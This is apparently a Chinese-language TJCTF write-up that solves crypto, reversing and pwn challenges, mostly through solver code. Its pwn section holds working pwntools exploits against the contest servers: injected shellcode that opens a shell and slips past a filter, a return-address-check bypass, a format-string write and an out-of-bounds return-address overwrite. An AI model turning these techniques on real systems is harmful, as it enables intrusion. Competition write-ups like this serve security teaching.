三块没有一个通关的。rev差两个,crypto.pwn都差一题
给出n,e,c其中e=3,c明显小于n,这个一看就是n给大了e给小了,结果乘幂后还是比n小,直接开根号
- n = 10888751337932558679268839254528888070769213269691871364279830513893837690735136476085167796992556016532860022833558342573454036339582519895539110327482234861870963870144864609120375793020750736090740376786289878349313047032806974605398302398698622431086259032473375162446051603492310000290666366063094482985737032132318650015539702912720882013509099961316767073167848437729826084449943115059234376990825162006299979071912964494228966947974497569783878833130690399504361180345909411669130822346252539746722020515514544334793717997364522192699435604525968953070151642912274210943050922313389271251805397541777241902027
- e = 3
- c = 2449457955338174702664398437699732241330055959255401949300755756893329242892325068765174475595370736008843435168081093064803408113260941928784442707977000585466461075146434876354981528996602615111767938231799146073229307631775810351487333
- iroot(c,3)
-
- #tjctf{13480003234703410053450996463993016282899173891711201866423770445454703509988477}
dlp入门,没有任何弯,直接取对数
- g = 8999
- s = 11721478752747238947534577901795278971298347908127389421908790123
- p = 12297383901740584470151577318651150337988716807049317851420298478128932232846789427512414204247770572072680737351875225891650166807323215624748551744377958007176198392481481171792078565005580006750936049744616851983231170824931892761202881982041842121034608612146861881334101500003915726821683000760611763097
-
- g^x = s mod p
- flag = tjctf{x}
- x = discrete_log(s,mod(g,p))
-
- #tjctf{26104478854569770948763268629079094351020764258425704346666185171631094713742516526074910325202612575130356252792856014835908436517926646322189289728462011794148513926930343382081388714077889318297349665740061482743137948635476088264751212120906948450722431680198753238856720828205708702161666784517}
给了远程代码,这里e没有给出,是说当乘幂大于n时即可。
- #!/usr/local/bin/python3.10 -u
-
- import ast
- import sys
-
- import select
- from Crypto.Util import number
- import hashlib
-
- with open('flag.txt') as f:
- flag = f.readline()
-
- raw_bin = str(
- bin(int('0x'+str(hashlib.sha256(flag.encode('utf-8')).hexdigest()), 16))[2:])
- hsh = int('0b1' + '0' * (256 - len(raw_bin)) + raw_bin, 2)
-
- p = number.getPrime(1024)
- q = number.getPrime(1024)
- n = p * q
- e = 0
-
- for i in range(0, 100):
- if pow(hsh, i) >= n:
- e = i
- break
-
- m = pow(hsh, e, n)
- print(f'm: {m}')
- print(f'n: {n}')
-
-
- def input_with_timeout(prompt, timeout):
- sys.stdout.write(prompt)
- sys.stdout.flush()
- ready, _, _ = select.select([sys.stdin], [], [], timeout)
- if ready:
- return sys.stdin.readline().rstrip('\n')
- raise Exception
-
-
- try:
- answer = input_with_timeout('', 20)
- try:
- answer = ast.literal_eval(answer)
- if hsh == answer:
- print('you love rsa so i <3 you :DD')
- print(flag)
- else:
- print("im upset")
- except Exception as e:
- print("im very upset")
- except Exception as e:
- print("\nyou've let me down :(")
flag是用的sha256加密,结果是256位前边加1位是256位,也就是e=8时刚大于n的2048位,而且大出的很小不超过8位。可以直接+n开根号爆破
- from pwn import *
-
- context.log_level = 'debug'
-
- io = remote('tjc.tf', 31628)
- io.recvuntil(b'm: ')
- m = eval(io.recvline())
- io.recvuntil(b'n: ')
- n = eval(io.recvline())
-
- e = 8
- while True:
- m += n
- v = iroot(m,8)
- if v[1]:
- io.sendline(str(v[0]).encode())
- io.recvline()
- print(io.recvline())
- break
-
- #tjctf{iloversaasmuchasilovemymom0xae701ebb}
rsa验证的题,题目有漏洞,就是输入\x00开头的串转比较时会与原串不同,但是转整后相同。直接绕过即可
- #!/usr/local/bin/python3.10 -u
-
- import sys
- import select
- from Crypto.Util.number import bytes_to_long, getPrime
-
-
- def input_with_timeout(prompt, timeout=10):
- sys.stdout.write(prompt)
- sys.stdout.flush()
- ready, _, _ = select.select([sys.stdin], [], [], timeout)
- if ready:
- return sys.stdin.buffer.readline().rstrip(b'\n')
- raise Exception
-
-
- def sign(a):
- return pow(bytes_to_long(a), d, n)
-
-
- def check(a, s):
- return bytes_to_long(a) == pow(s, e, n)
-
-
- e = 65537
- users = {b"admin"}
-
- p = getPrime(1000)
- q = getPrime(1000)
- n = p * q
- d = pow(e, -1, (p - 1) * (q - 1))
-
-
- print(n)
-
- while True:
- cmd = input("Cmd: ")
- if cmd == "new":
- name = input_with_timeout("Name: ")
- if name not in users:
- users.add(name)
- print(name, sign(name))
- else:
- print("Name taken...")
- elif cmd == "login":
- name = input_with_timeout("Name: ")
- sig = int(input_with_timeout("Sign: ").decode())
- if check(name, sig) and name in users:
- if name == b"admin":
- print("Hey how'd that happen...")
- print(open("flag.txt", "r").read())
- else:
- print("No admin, no flag")
- else:
- print("Invalid login.")
-
- else:
- print("Command not recognized...")
- from pwn import *
-
- p = remote('tjc.tf', 31358)
- context.log_level = 'debug'
-
- p.sendlineafter(b"Cmd: ", b'new')
- p.sendlineafter(b"Name: ", b'\x00admin')
- enc = int(p.recvline().decode().split(' ')[1])
-
- p.sendlineafter(b"Cmd: ", b'login')
- p.sendlineafter(b"Name: ", b'admin')
- p.sendlineafter(b"Sign: ", str(enc).encode())
-
- p.recvline()
- print(p.recvline())
- p.interactive()
-
- #tjctf{sQuIsHy-SqUiShY-beansbeansbeans!!!!!!}
低加密指数,部分明文已知的板子题(给出的是sage代码^表示乘幂不是异或)
- from Crypto.Util.number import bytes_to_long
-
- p = random_prime(2 ^ 650)
- q = random_prime(2 ^ 650)
- N = p*q
- e = 5
- flag = open("flag.txt", "rb").read().strip()
- m = bytes_to_long(b'the challenges flag is ' + flag)
- c = m ^ e % N
- print("N: ", N)
- print("C: ", c)
- print("e: ", e)
前边调用了个板子存的函数,由于flag长度未知,这里直接爆破出结果,一般flag不会太长
- def coppersmith_howgrave_univariate(pol, modulus, beta, mm, tt, XX):
- """
- Coppersmith revisited by Howgrave-Graham
- finds a solution if:
- * b|modulus, b >= modulus^beta , 0 < beta <= 1
- * |x| < XX
- """
- #
- # init
- #
- dd = pol.degree()
- nn = dd * mm + tt
-
- #
- # checks
- #
- if not 0 < beta <= 1:
- raise ValueError("beta should belongs in (0, 1]")
-
- if not pol.is_monic():
- raise ArithmeticError("Polynomial must be monic.")
-
- #
- # calculate bounds and display them
- #
- # Coppersmith revisited algo for univariate
- #
- # change ring of pol and x
- polZ = pol.change_ring(ZZ)
- x = polZ.parent().gen()
-
- # compute polynomials
- gg = []
- for ii in range(mm):
- for jj in range(dd):
- gg.append((x * XX)**jj * modulus**(mm - ii) * polZ(x * XX)**ii)
- for ii in range(tt):
- gg.append((x * XX)**ii * polZ(x * XX)**mm)
-
- # construct lattice B
- BB = Matrix(ZZ, nn)
-
- for ii in range(nn):
- for jj in range(ii+1):
- BB[ii, jj] = gg[ii][jj]
-
- # LLL
- BB = BB.LLL()
-
- # transform shortest vector in polynomial
- new_pol = 0
- for ii in range(nn):
- new_pol += x**ii * BB[0, ii] / XX**ii
-
- # factor polynomial
- potential_roots = new_pol.roots()
- print("potential roots:", potential_roots)
-
-
- return potential_roots
-
-
-
-
- N = 853008036761402960429244085500226305898326229049062709229066738337581395441559298620215547481097485360068401045559533084692445386310317304293873811639421668853703030998563380404046228010704173349786419154143323587451196441095743638783569173579503503557413613700490069592150975220823978641111437607374483116682547794651693986279540940965888470663234601045413512056249535670198419685119952947
- c = 298700332507654723773580072855784292117810966958600234446114828082727445272393622869719877676272804981941548843479760604983256960593285221389548684954375981617049731866256547635842115184695147132731165168615990125469633018271766466825307769730709868985624843944432541800012321786587028293887532995722347604510229248766961319729482167555605707032678858635163105035385522888663577785577519392
- e = 5
-
- from gmpy2 import iroot
- from Crypto.Util.number import long_to_bytes ,bytes_to_long
-
- m = bytes_to_long(b'the challenges flag is ')
-
-
- for i in range(5,80): #爆破flag长度
- P.
= PolynomialRing(Zmod(N)) - f = (m*2^(i*8) + x)^e - c
- dd = f.degree()
- beta = 1
- epsilon = 0.05 #beta / 7
- mm = ceil(beta**2 / (dd * epsilon))
- tt = floor(dd * mm * ((1/beta) - 1))
- XX = ceil(N**((beta**2/dd) - epsilon))
- roots = coppersmith_howgrave_univariate(f, N, beta, mm, tt, XX)
- print(i, roots)
-
- #tjctf{coppersword2}
这里代码给了很长,实际上就是个背包加密,原理是背包问题,解法是格基规约。标准的板子题,不加修饰的。加了修饰拐了任何一个弯板子人就不会了。
- from math import gcd
- import secrets
- from Crypto.Util.number import *
- from Crypto.Cipher import AES
- from Crypto.Util.Padding import pad
-
- n = 48
-
- with open('flag.txt', 'rb') as f:
- flag = f.read()
-
-
- def randint(a, b):
- return int(secrets.randbelow(int(b-a + 1)) + a) #[a,b]
-
-
- def makeKey():
- W = []
- s = 0
- for i in range(n):
- curr = 0
- if i != 0:
- curr = randint((2**i - 1) * 2**n + 1, 2**(i+n))
- else:
- curr = randint(1, 2**n)
- assert s < curr
- s += curr
- W.append(curr)
-
- q = randint((1 << (2 * n + 1)) + 1, (1 << (2 * n + 2)) - 1)
-
- r = randint(2, q - 2)
- r //= gcd(r, q)
-
- B = []
- for w in W:
- B.append((r * w) % q)
-
- return B, (W, q, r)
-
-
- def encrypt(public, m):
- return sum([public[i] * ((m >> (n - i - 1)) & 1) for i in range(n)]) #高位在前
-
-
- pub, _ = makeKey()
-
- sup_sec_num = secrets.randbits(n)
-
- msg = encrypt(pub, sup_sec_num)
-
- iv = secrets.token_bytes(16)
-
- key = pad(long_to_bytes(sup_sec_num), 16)
- cipher = AES.new(key, AES.MODE_CBC, iv=iv)
- ct = cipher.encrypt(pad(flag, 16))
-
- print('B =', pub)
- print('msg =', msg)
- print('iv =', iv.hex())
- print('ct =', ct.hex())
直接套用,最后AES解密
- B = [243873082678558120886143238109, 140121004360885317204645106697, 65971149179852778782856023084, 198367501585318217337192915461, 90780110766692265488675597096, 204457189038632581915443073067, 11843936715392553537334014601, 249714131767678082951811660354, 46864685536820768096162079781, 270615453249669076126135660113, 62422813932318315478542903448, 54340894478463039745320012710, 82166063070770734716784239617, 123360554027599432641005228613, 225930829813243714315757104718, 140931881774215407739681383827, 153511648985484571193029079380, 128333502017904902954574343976, 157971994970491620681977801348, 151995940102680832680366775791, 111930343189002833676566713355, 254629522353980890137482003596, 46122603870700121747541022366, 106621126674742413122499956117, 213619593425584289387962971025, 250029395347234943835276840576, 90157964719511330175905946756, 160955342950540531541477834386, 62686435507426271661129199824, 48684199759430660574537497320, 262348080860779266021957164776, 123406793114541556721282454859, 8323348282744522342656453505, 8204832183897468999773786370, 117068364683450498818799008726, 22742733514396961388718208907, 152588763365550382579175625426, 18880903696373297518512895359, 168999842801038138048571134864, 251946102324340921852977277387, 62739530425883979430660351271, 26189963743964979633698113800, 149052997409450695582768647188, 161035032125544665156226726161, 170005203789455944372862796495, 127446446141939678833034246067, 66890847724290458515749208331, 230355717600508139033028789245]
- msg = 4096661050207034370558640511465
- iv = bytes.fromhex('c3599b694d81ca069cefdbd7c8f06812')
- ct = bytes.fromhex('8e291e6ea5eb6f186949c8d25c5e6dc30c1869a7abf1078d26792dc846f2ffb9b5793fe92036fe55c9f8a6c61f4f516e')
-
- #背包问题
- nbits = 48
- A = Matrix(ZZ, nbits + 1, nbits + 1)
- for i in range(nbits):
- A[i, i] = 1
- A[i, nbits] = B[i]
- A[nbits,nbits] = -int(msg)
-
- res = A.LLL()
- #搜索验证
- for i in range(0, nbits + 1):
- # print solution
- M = res.row(i).list()
- flag = True
- for m in M:
- if m != 0 and m != 1:
- flag = False
- break
- if flag:
- print(i, M)
- M = ''.join(str(j) for j in M)
- # remove the last bit
- M = M[:-1] #矩阵是n+1行,结果是n+1个值,最后一个去掉
- m = int(M, 2)
- print(m)
-
- # [1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0]
- #233294031172328
-
- from Crypto.Util.number import long_to_bytes
- from Crypto.Util.Padding import pad
- from Crypto.Cipher import AES
-
- sup_sec_num = 233294031172328
- key = pad(long_to_bytes(sup_sec_num), 16)
- cipher = AES.new(key, AES.MODE_CBC, iv=iv)
- flag = cipher.decrypt(ct)
- #tjctf{knaps4ck-rem0v4L0-CreEEws1278bh}
这个第一天给难住了,第二天突然想到解法
- #!/usr/local/bin/python3.10 -u
- from Crypto.Util.number import getPrime
- flag = open("flag.txt", "r").read()
-
- po = getPrime(512)
- qo = getPrime(512)
- no = po * qo
- eo = 65537
-
- msg = 762408622718930247757588326597223097891551978575999925580833
- s = pow(msg,eo,no)
-
- print(msg,"\n",s)
-
- try:
- p = int(input("P:"))
- q = int(input("Q:"))
- e = int(input("E:"))
- except:
- print("Sorry! That's incorrect!")
- exit(0)
-
- n = p * q
- d = pow(e, -1, (p-1)*(q-1))
- enc = pow(msg, e, n)
- dec = pow(s, d, n)
- if enc == s and dec == msg:
- print(flag)
- else:
- print("Not my keys :(")
题目随机取两个素数对msg加密得到s,都给出但n没给。要求给出任意的p,q,e然后能用明文加密成密文,并能从密文解密出明文。虽然能加密解密但并不是说就是原来的p,q,e只是这个给出的点重合。
虽然题目给的 rsa加密,但不是rsa问题是dlp问题,也就是要找一个p让它对密文取对数得到e,但并不是任何素数取对数都能成功,这个要求p-1光滑,非常光滑,越滑越好。前几天一个题就是这个光滑数是4096位的,这里需要个1024+的即可。用前几天看的wp的方法用一个小素数左移然后加1,这个数减1后的因子基本全是2,小素数也很小,所以可对。
第二是要求e有逆,这个没好办法,因为生成的素数因子大多是2,所以与e有公因子也正常,爆破一个gcd==1的即可。
另外就是题目要求两个素数,对于s = m^e%n来说%p也成立,但反过来不一定成立,不过大概率成立。所以这个q要爆破一下,一般爆破几个就能成功。我试着第1个就成了。
- from pwn import *
- from Crypto.Util.number import isPrime
- from sage.all import *
-
- io = remote('tjc.tf', 31103)
- context.log_level = 'debug'
-
- msg = eval(io.recvline())
- s = eval(io.recvline())
-
- #get p
- for j in range(3,0x1000000):
- p = j*(17<<1020)+1 #p-1光滑
- if is_prime(p):
- print(j)
- try:
- e = discrete_log(s,mod(msg,p))
- if gcd(e, p-1) == 1:
- print('p:', p)
- print('e:', e)
- break
- except:
- continue
-
- for j in range(3,0x10000,2):
- if isPrime(j):
- if pow(msg,e,j*p) == s and gcd(e, j-1)==1:
- print('q:',j)
- q = j
- break
-
- io.sendlineafter(b"P:", str(p).encode())
- io.sendlineafter(b"Q:", str(q).encode())
- io.sendlineafter(b"E:", str(e).encode())
-
- io.recvline()
- io.recvline()
-
- io.interactive()
-
- '''
- 762408622718930247757588326597223097891551978575999925580833
- 43702436509757326336438182135857400078603716426818931981925422334067838750896722688201044956327747464145436722723554375647305025202152215596641401129632173370466702832252018951311505962855126544117103589396071853249012072937973506348718307149005393560408005764979480512336133384533240629952292002964632084304
- 167129283631730932046708841956167143203546297261042564183892028576329597037926676662439912510675756144635105872692936012198406113194652953723819095672636100007456088418429630842812219785533478126679038057016528800716718212490258460120278594955925322050302427902076324144950955208430361252151620337697520877568001
- 3
- 46351245749787152661103940395995082654632344613868677972472440339907438040457429422805634442629497653113554165470202695931851696141959731450191263015553586726010171368142146952569468957017122829829141545814345050784099324975063078677418067737568349822363430089878772306354398776639089550850223383829186997191661
- b'tjctf{lock-smith_289378972359}'
- '''
给了程序加密原码和3个密文(哪个感觉未知)
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- using namespace std;
- using namespace std::filesystem;
-
- typedef uint8_t Byte;
-
- void make_key(Byte *S, const std::string &key)
- {
- for (int i = 0; i < 255; i++)
- S[i] = i;
-
- Byte j = 0;
- for (int i = 0; i < 255; i++)
- {
- j = (j ^ S[i] ^ key[i % key.length()]) % 256;
- std::swap(S[i], S[j]);
- }
- }
-
- Byte S_box[256] = {24, 250, 101, 19, 98, 246, 141, 58, 129, 74, 227, 160, 55, 167, 62, 57, 237, 156, 32, 46, 90, 67, 22, 3, 149, 212, 36, 210, 27, 99, 168, 109, 125, 52, 173, 184, 214, 86, 112, 70, 5, 252, 6, 170, 30, 251, 103, 43, 244, 213, 211, 198, 16, 242, 65, 118, 68, 233, 148, 18, 61, 17, 48, 80, 187, 206, 72, 171, 234, 140, 116, 35, 107, 130, 113, 199, 51, 114, 232, 134, 215, 197, 31, 150, 247, 79, 26, 110, 142, 29, 9, 117, 248, 186, 105, 120, 15, 179, 207, 128, 10, 254, 83, 222, 178, 123, 100, 39, 228, 84, 93, 97, 60, 94, 180, 146, 185, 38, 203, 235, 249, 89, 226, 1, 106, 12, 216, 221, 8, 45, 13, 2, 14, 75, 49, 33, 127, 163, 111, 85, 255, 253, 166, 151, 40, 23, 194, 34, 139, 95, 145, 193, 159, 133, 69, 245, 196, 102, 91, 11, 157, 96, 47, 152, 154, 59, 181, 28, 126, 200, 158, 88, 224, 231, 41, 190, 240, 191, 188, 143, 164, 189, 217, 54, 66, 241, 209, 104, 78, 87, 82, 230, 182, 220, 53, 147, 21, 136, 76, 0, 115, 169, 71, 44, 223, 175, 92, 25, 177, 64, 201, 77, 138, 144, 204, 229, 81, 20, 183, 205, 124, 243, 4, 172, 174, 108, 132, 176, 135, 161, 162, 7, 236, 195, 238, 56, 42, 131, 218, 155, 121, 153, 239, 50, 219, 225, 37, 202, 63, 137, 192, 208, 119, 122, 165, 73};
-
- void enc(Byte *S, Byte *out, int amount)
- {
- Byte i = 0;
- Byte j = 0;
- int ctr = 0;
- while (ctr < amount)
- {
- i = (i * j) % 256;
- j = (i + S[j]) % 256;
- // std::swap(S[i],S[j]);
- Byte K = (S[i] & S[j]);
- out[ctr] ^= S_box[K];
- ctr++;
- }
- }
-
- Byte key[256];
- int main()
- {
-
- std::string path = current_path();
-
- std::vector
files; - for (const auto &file : directory_iterator(path))
- files.push_back(std::string(file.path()));
-
- for (const auto &file : files)
- {
- std::cout << file << "\n";
- struct stat results;
- std::ifstream in(file);
- std::ofstream out(file + ".enc", std::ofstream::binary);
- if (stat(file.c_str(), &results) == 0)
- {
- uint8_t *buffer = new uint8_t[results.st_size];
- in.read((char *)buffer, results.st_size);
-
- make_key(key, std::to_string(rand()));
- enc(key, buffer, results.st_size);
-
- out.write((char *)buffer, results.st_size);
- delete[] buffer;
- }
- in.close();
- out.close();
- }
-
- return 0;
- }
看上去像RC4加密,不过加密流交换那步给干掉了,也就是加密流生成以后不再变。不过这似乎没关系。
用python重写一下,试3个文件(文件先后顺序不详,只能都试一下)
- '''
- make_key(Byte *S, const std::string &key)
- {
- for (int i = 0; i < 255; i++)
- S[i] = i;
- Byte j = 0;
- for (int i = 0; i < 255; i++)
- {
- j = (j ^ S[i] ^ key[i % key.length()]) % 256;
- std::swap(S[i], S[j]);
- }
- }
- '''
- def make_key(key):
- S = [i for i in range(256)]
- #S[255]=0
- j = 0
- for i in range(256):
- j = (j^S[i]^key[i%len(key)])%256
- S[i],S[j] = S[j],S[i]
- return S
-
- '''
- void enc(Byte *S, Byte *out, int amount)
- {
- Byte i = 0;
- Byte j = 0;
- int ctr = 0;
- while (ctr < amount)
- {
- i = (i * j) % 256;
- j = (i + S[j]) % 256;
- // std::swap(S[i],S[j]);
- Byte K = (S[i] & S[j]);
- out[ctr] ^= S_box[K];
- ctr++;
- }
- }
- '''
- def enc(S, c):
- i,j,ctr = 0,0,0
- out = list(c)
- for _ in range(len(c)):
- i = (i*j)%256
- j = (i + S[j])%256
- K = (S[i]&S[j])
- out[ctr] ^= S_box[K]
- ctr +=1
- print(bytes(out))
-
-
- rand = [1804289383,846930886,1681692777] #未置种子,前3个值为
- S_box = [24, 250, 101, 19, 98, 246, 141, 58, 129, 74, 227, 160, 55, 167, 62, 57, 237, 156, 32, 46, 90, 67, 22, 3, 149, 212, 36, 210, 27, 99, 168, 109, 125, 52, 173, 184, 214, 86, 112, 70, 5, 252, 6, 170, 30, 251, 103, 43, 244, 213, 211, 198, 16, 242, 65, 118, 68, 233, 148, 18, 61, 17, 48, 80, 187, 206, 72, 171, 234, 140, 116, 35, 107, 130, 113, 199, 51, 114, 232, 134, 215, 197, 31, 150, 247, 79, 26, 110, 142, 29, 9, 117, 248, 186, 105, 120, 15, 179, 207, 128, 10, 254, 83, 222, 178, 123, 100, 39, 228, 84, 93, 97, 60, 94, 180, 146, 185, 38, 203, 235, 249, 89, 226, 1, 106, 12, 216, 221, 8, 45, 13, 2, 14, 75, 49, 33, 127, 163, 111, 85, 255, 253, 166, 151, 40, 23, 194, 34, 139, 95, 145, 193, 159, 133, 69, 245, 196, 102, 91, 11, 157, 96, 47, 152, 154, 59, 181, 28, 126, 200, 158, 88, 224, 231, 41, 190, 240, 191, 188, 143, 164, 189, 217, 54, 66, 241, 209, 104, 78, 87, 82, 230, 182, 220, 53, 147, 21, 136, 76, 0, 115, 169, 71, 44, 223, 175, 92, 25, 177, 64, 201, 77, 138, 144, 204, 229, 81, 20, 183, 205, 124, 243, 4, 172, 174, 108, 132, 176, 135, 161, 162, 7, 236, 195, 238, 56, 42, 131, 218, 155, 121, 153, 239, 50, 219, 225, 37, 202, 63, 137, 192, 208, 119, 122, 165, 73]
-
- for i in range(3):
- S = make_key(str(rand[i]).encode())
- enc(S, open('flag.txt.enc', 'rb').read())
- enc(S, open('flag1.txt.enc', 'rb').read())
- enc(S, open('flag2.txt.enc', 'rb').read())
-
- '''
- b"\x81\xca\xa0\x8f\xcd\x8c'\xcfL\x831\xa6[\xcf\xcc>EOx\x95A\xfb@cf_v\xf4\xb7\x9fnWs\xf5"
- b'c\xc6\xe2\x008\x18\xb4\x83=\x10\xa4)\x83\xa5\xb7\xd2\x85\x83:`\xaf\xfb\x8c\xb7\x17_@\xac\xcc\x91\x0f\xbe\tj'
- b'\xddt\xfd\x1f[\x03\xaft\xde\xfe=Np\xbe\xd4\xa9g\xf4@\x93\\t\x97H\xe0\xaa][\xaf\xf4\xf8\xa9\x14\x88'
- b'\x817\xdf\xae\xe4\x85\xf5\xc3\xf3H\xca\x19w\xe0\x8a\x92R\x1d\xa2<5t\xfc\x04>\xd2\x95\xdd\x98E\x15\x8d\xc2['
- b'c;\x9d!\x11\x11f\x8f\x82\xdb_\x96\xaf\x8a\xf1~\x92\xd1\xe0\xc9\xdbt0\xd0O\xd2\xa3\x85\xe3Ktd\xb8\xc4'
- b"\xdd\x89\x82>r\n}xa5\xc6\xf1\\\x91\x92\x05p\xa6\x9a:(\xfb+/\xb8'\xber\x80.\x83s\xa5&"
- b'\x96f!\xfb\x93\xef\xf5 \x10\xf4\xca\xfa\xb6\x0e\x1e\x9e\x9f\xa1-\x80\x80t\xad\xbd\x1f_Y>$j\x14\x9a\x0e\xe2'
- b'tjctf{flag_under_mountain_of_dust}'
- b'\xca\xd8|k\x05`}\x9b\x82\x89\xc6\x12\x9d\x7f\x06\t\xbd\x1a\x15\x86\x9d\xfbz\x96\x99\xaar\x91<\x01\x82di\x9f'
- '''
flag.txt已经准备好了,就在128字节后,要求输入东西显示,这里输入够长自然就出来了
- int __cdecl main(int argc, const char **argv, const char **envp)
- {
- int v4; // [rsp+4h] [rbp-BCh]
- FILE *stream; // [rsp+8h] [rbp-B8h]
- char nptr[46]; // [rsp+10h] [rbp-B0h] BYREF
- __int16 v7; // [rsp+3Eh] [rbp-82h]
- __int64 v8; // [rsp+40h] [rbp-80h]
- __int64 v9; // [rsp+48h] [rbp-78h]
- __int64 v10; // [rsp+50h] [rbp-70h]
- __int64 v11; // [rsp+58h] [rbp-68h]
- __int64 v12; // [rsp+60h] [rbp-60h]
- __int64 v13; // [rsp+68h] [rbp-58h]
- __int64 v14; // [rsp+70h] [rbp-50h]
- __int64 v15; // [rsp+78h] [rbp-48h]
- __int64 v16; // [rsp+80h] [rbp-40h]
- __int64 v17; // [rsp+88h] [rbp-38h]
- __int64 v18[6]; // [rsp+90h] [rbp-30h] BYREF
-
- v18[5] = __readfsqword(0x28u);
- setbuf(_bss_start, 0LL);
- strcpy(nptr, "Nothing to see here... Nothing to see here...");
- v7 = 0;
- v8 = 0LL;
- v9 = 0LL;
- v10 = 0LL;
- v11 = 0LL;
- v12 = 0LL;
- v13 = 0LL;
- v14 = 0LL;
- v15 = 0LL;
- v16 = 0LL;
- v17 = 0LL;
- memset(v18, 0, 25);
- stream = fopen("flag.txt", "r");
- if ( stream )
- {
- fgets((char *)v18, 25, stream);
- fclose(stream);
- printf("Input: ");
- __isoc99_scanf("%15s", nptr);
- v4 = atoi(nptr);
- if ( v4 <= 128 )
- printf("%s", &nptr[(unsigned __int8)v4]); // 输入128即可
- return 0;
- }
- else
- {
- printf("Cannot find flag.txt.");
- return 1;
- }
- }
栈深256读入512,明显有溢出,给出栈地址,没有加载地址和libc只能用栈的话就是栈可执行,看了题确实可执行。return位置写上栈地址跳过去执行就行。
唯一的卡就就是一个检查,不过可以用第1字节是0绕过
- int __cdecl main(int argc, const char **argv, const char **envp)
- {
- char s[256]; // [rsp+0h] [rbp-100h] BYREF
-
- setbuf(stdout, 0LL);
- printf("0x%lx\n", s);
- fgets(s, 512, stdin);
- for ( i = 0; i <= 510 && s[i]; ++i ) // 0绕过
- {
- if ( s[i] == 15 && s[i + 1] == 5 )
- {
- puts("nonono");
- exit(1);
- }
- }
- puts("ok");
- return 0;
- }
- from pwn import *
-
- #p = process('./chall')
- p = remote('tjc.tf', 31365)
- context(arch='amd64', log_level='debug')
-
- #gdb.attach(p, "b*0x401255")
-
- p.recvuntil(b'0x')
- s_addr = int(p.recvline(), 16)
-
- pay = b'\x00'+ asm(shellcraft.sh())
- pay = pay.ljust(0x108, b'\x90') + p64(s_addr+1)
-
- p.sendline(pay)
-
- p.interactive()
- #tjctf{s4lly_s3lls_s34sh3lls_50973fce}
给了原码,有后门win
- #include "stdio.h"
- #include
-
- void laugh()
- {
- printf("ROP detected and denied...\n");
- exit(2);
- }
-
- void win()
- {
- FILE *fptr;
- char buf[28];
- // Open a file in read mode
- fptr = fopen("flag.txt", "r");
- fgets(buf, 28, fptr);
- puts(buf);
- }
-
- void pwnable()
- {
- char buffer[10];
- printf(" > ");
- fflush(stdout);
-
- read(0, (char *)buffer, 56);
-
- /* Check ret */
- __asm__ __volatile__("add $0x18, %rsp;"
- "pop %rax;"
- "cmp $0x0401262, %rax;"
- "jle EXIT;"
- "cmp $0x040128a, %rax;"
- "jg EXIT;"
- "jmp DONE;"
- "EXIT:"
- "call laugh;"
- "DONE: push %rax;");
- return;
- }
-
- int main()
- {
- setbuf(stdout, NULL);
-
- pwnable();
-
- return 0;
- }
代码里边有数据检查(汇编部分),要求return位置只能在main范围内,所以这里改成main最后的ret在后边再写后门。
- from pwn import *
-
- #p = process('./out')
- p = remote('tjc.tf', 31080)
- context(arch='amd64', log_level='debug')
-
- #gdb.attach(p, "b*0x401255")
-
- pay = b'\x00'*18 + flat(0x40128a, 0x4011b3) #ret绕过检查,再到后门
- p.sendafter(b" > ", pay)
-
- p.recvline()
- p.interactive()
看名字是格式化字符串漏洞
在堆里建块,然后对块内内容检查,通过就给flag,在输入时有printf格式化字符串漏洞。
先修改堆指针,然后在修改后的位置写上指定值,他会执行一个+2,这个不好绕过,就在输入的时候先减2
- int __cdecl main(int argc, const char **argv, const char **envp)
- {
- char s[268]; // [rsp+0h] [rbp-110h] BYREF
- int i; // [rsp+10Ch] [rbp-4h]
-
- setbuf(_bss_start, 0LL);
- xd = calloc(1uLL, 4uLL); // 403440
- printf("give me a string (or else): ");
- fgets(s, 256, stdin);
- printf(s);
- r1(s[0]);
- if ( win() ) // xd = 141191486
- {
- for ( i = 0; i <= 255; ++i )
- putchar(among[i]);
- }
- free(xd);
- return 0;
- }
- from pwn import *
-
- #p = process('./format')
- p = remote('tjc.tf', 31764)
- context(arch='amd64', log_level='debug')
-
- pay = fmtstr_payload(6,{0x403440 : 0x403448, 0x403448: 141191486-2}, write_size = "byte", numbwritten = 0)
-
- #gdb.attach(p, "b*0x4013ad\nc")
-
- p.sendlineafter(b"give me a string (or else): ", pay)
-
-
- p.recv()
- p.interactive()
一个游戏,用wasd先择上左下右l读入当前显示的字符。但走过之后会改为点。其实就是只能改1位,等下一轮转回来就又改回来了。
- int __cdecl main(int argc, const char **argv, const char **envp)
- {
- char v3; // al
- int v5[2]; // [rsp+8h] [rbp-A98h] BYREF
- char v6[2704]; // [rsp+10h] [rbp-A90h] BYREF
-
- setup_terminal();
- setvbuf(stdout, stdout_buf, 0, 0x1000uLL);
- init_player(v5); // 初始值4行4列
- init_map((__int64)v6, v5);
- print_map((__int64)v6);
- signal(2, sigint_handler);
- while ( v5[0] != 29 || v5[1] != 89 )
- {
- v3 = getchar();
- move_player(v5, v3, (__int64)v6);
- print_map((__int64)v6);
- }
- puts("You win!");
- return 0;
- }
-
- int __fastcall move_player(int *op, char input_c, __int64 map)
- {
- __int64 v3; // rax
-
- if ( input_c == 'l' )
- {
- LODWORD(v3) = getchar();
- player_tile = v3;
- }
- else
- {
- *(_BYTE *)(map + 90LL * *op + op[1]) = 0x2E;
- switch ( input_c )
- {
- case 'w':
- --*op;
- break;
- case 's':
- ++*op;
- break;
- case 'a':
- --op[1];
- break;
- case 'd':
- ++op[1];
- break;
- }
- v3 = op[1];
- *(_BYTE *)(90LL * *op + map + v3) = player_tile;
- }
- return v3;
- }
由于边界没有限制可以越界,当向上到0再往上走时就与move_player的返回地址重合了,算好偏移后把这里的尾字符改为后门(两个正好只关1字节),不能直着走过去,只能从下方调后,点上,就执行了。
- from pwn import *
-
- #p = process('./game')
- p = remote('tjc.tf', 31119)
- context(arch='amd64', log_level='debug')
-
- #gdb.attach(p)
- #pause()
-
-
- pay = b'w'*4 + b'd'*62 + b'l\xe7w'
-
- p.send(pay)
-
- #p.recvline()
-
- p.interactive()
-
- '''
- 0x00007ffc99076a00│+0x0000: 0x00007fbd287df040 → 0x00007fbd287e02e0 → 0x0000563b8b9c9000 → 0x00010102464c457f ← $rsp
- 0x00007ffc99076a08│+0x0008: 0x00007ffc99076a40 → "..................................................[...]"
